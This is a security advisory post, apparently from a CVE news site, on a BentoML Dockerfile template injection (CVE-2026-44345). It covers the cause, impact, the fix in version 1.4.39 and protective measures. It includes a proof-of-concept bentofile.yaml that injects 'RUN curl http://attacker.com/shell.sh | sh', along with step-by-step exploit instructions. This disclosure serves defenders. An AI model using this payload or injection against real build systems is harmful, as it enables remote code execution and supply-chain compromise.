Listen to this Post
CVE-2026-44345: Jinja2 Template Injection Leading to Remote Code Execution During `bentoml containerize`
CVE-2026-44345 is a critical command injection vulnerability discovered in BentoML, a popular Python library designed for building high-performance online serving systems optimized for AI applications and model inference. The vulnerability resides in the Dockerfile generation process, specifically within the Jinja2 templating engine used to render container build instructions. The root cause is the absence of input sanitization, escaping, or validation for the `docker.base_image` configuration parameter when it is read from a user-supplied `bento.yaml` file. Prior to patched version 1.4.39, the vulnerable code path in `src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2` directly interpolated the raw string value of `{{ __options__base_image }}` into the generated Dockerfile. This value originates from the `DockerOptions.base_image` attribute, which is loaded straight from the `bento.yaml` without any validation or newline filtering. An attacker can exploit this by crafting a malicious `bento.yaml` where the `docker.base_image` field contains a multi-line string. By injecting newline characters (\n), the attacker can break out of the intended `FROM` instruction and insert arbitrary Dockerfile directives, such as `RUN` commands. When the victim executes bentoml containerize, BentoML generates the Dockerfile with the injected directives and then invokes docker build. The `docker build` process executes the injected `RUN` commands on the victim’s host with the privileges of the build process. This effectively allows an attacker to achieve remote code execution (RCE) on the system of any user who imports and containerizes a malicious Bento. The attack is particularly dangerous in supply-chain scenarios where models are shared via registries, marketplaces, or internal handoffs. The vulnerability is classified under CWE-94 (Improper Control of Generation of Code) and is associated with ATT&CK technique T1059.001 (Command and Scripting Interpreter). The CVSS v3.1 score is 8.8 (High), with the vector string: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, indicating a network-accessible attack requiring low complexity, no privileges, but user interaction. The attack does not require authentication. The fix, implemented in version 1.4.39, introduces a `normalize_line` Jinja2 filter that strips newlines and collapses whitespace, effectively neutralizing the injection. While the primary vulnerable field is docker.base_image, researchers have identified other fields in the same template—such as __options__build_include[], bento__user, bento__uid_gid, bento__path, bento__home, and bento__entrypoint—that are also interpolated raw and could be susceptible if they become user-overridable. The vulnerability was published on May 11, 2026, with a CVSS score of 8.8.
DailyCVE Form:
Platform: BentoML
Version: <=1.4.38
Vulnerability : Command Injection
Severity: High (8.8)
date: 2026-05-11
Prediction: 2026-05-07
What Undercode Say:
Create a malicious bentofile.yaml cat > bentofile.yaml << EOF service: name: "test_service" envs: - name: "FOO" value: "bar" docker: base_image: | python:3.10 RUN curl http://attacker.com/shell.sh | sh FROM scratch EOF Triggers RCE on build host bentoml containerize test_service:latest
How Exploit:
1. Attacker crafts `bento.yaml` with multi-line `docker.base_image`.
2. Victim runs `bentoml containerize` on malicious bento.
3. BentoML renders Dockerfile without sanitizing newlines.
4. Injected `RUN` command executes during `docker build`.
5. Attacker gains code execution on victim host.
Protection:
- Upgrade to BentoML ≥1.4.39 immediately.
- Implement pre-commit hooks to scan `bento.yaml` for newlines in
docker.base_image. - Use regex `^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$` to validate image references.
- Run `bentoml containerize` in isolated, ephemeral build environments.
Impact:
- Remote code execution on containerization host.
- Full compromise of build infrastructure.
- Supply-chain attack via shared bento packages.
- Confidentiality, integrity, availability all high.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
